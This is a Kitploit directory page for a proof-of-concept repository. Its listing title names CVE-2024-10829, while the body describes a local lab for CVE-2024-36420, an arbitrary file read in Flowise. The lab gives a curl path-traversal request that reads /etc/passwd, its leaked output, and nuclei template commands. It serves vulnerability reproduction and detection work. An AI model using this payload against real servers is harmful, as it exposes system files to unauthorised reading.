Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC_CVE-2024-10829 — CVE-2024-10829 analysis | Kitploit
工具/GitHubGitHub/junn34/poc_cve-2024-10829
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjunn34/poc_cve-2024-10829

POC_CVE-2024-10829

CVE-2024-10829 analysis

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

POC_CVE-2024-36420

针对影响 Flowise 的 CVE-2024-36420 的本地复现实验室和 nuclei 模板草稿。

摘要

CVE-2024-36420 是 Flowise 中的一个任意文件读取漏洞,由对以下端点的 fileName 请求体参数的不安全使用导致:

  • POST /api/v1/openai-assistants-file

该实验室用于验证:

  • 易受攻击行为(flowiseai/flowise:1.4.3)
  • 拒绝访问行为(更新的 flowiseai/flowise:3.1.2)

参考

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2024-36420
  • GitHub Security Lab:https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/

文件

  • docker-compose.yml
  • docker-compose.latest.yml
  • CVE-2024-36420.yaml

易受攻击测试

启动 Flowise 1.4.3:

root@kitploit:~
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise

手动验证:

root@kitploit:~
curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

观察到的易受攻击响应:

root@kitploit:~
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

新版本对照

启动较新的 Flowise 3.1.2:

root@kitploit:~
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise

手动验证:

root@kitploit:~
curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

观察到的新版本响应:

root@kitploit:~
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}

Nuclei

验证模板:

root@kitploit:~
nuclei -duc -validate -t CVE-2024-36420.yaml

对易受攻击目标运行:

root@kitploit:~
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml

预期行为:

  • 1.4.3:匹配
  • 3.1.2:不匹配

备注

  • 版本差异是可以接受的,因为本仓库仅声明观察到的行为:
    • 在 1.4.3 上易受攻击
    • 在 3.1.2 上被拒绝访问
  • 它不声称精确的补丁版本边界。
  • 未使用真实世界中的目标。
下载工具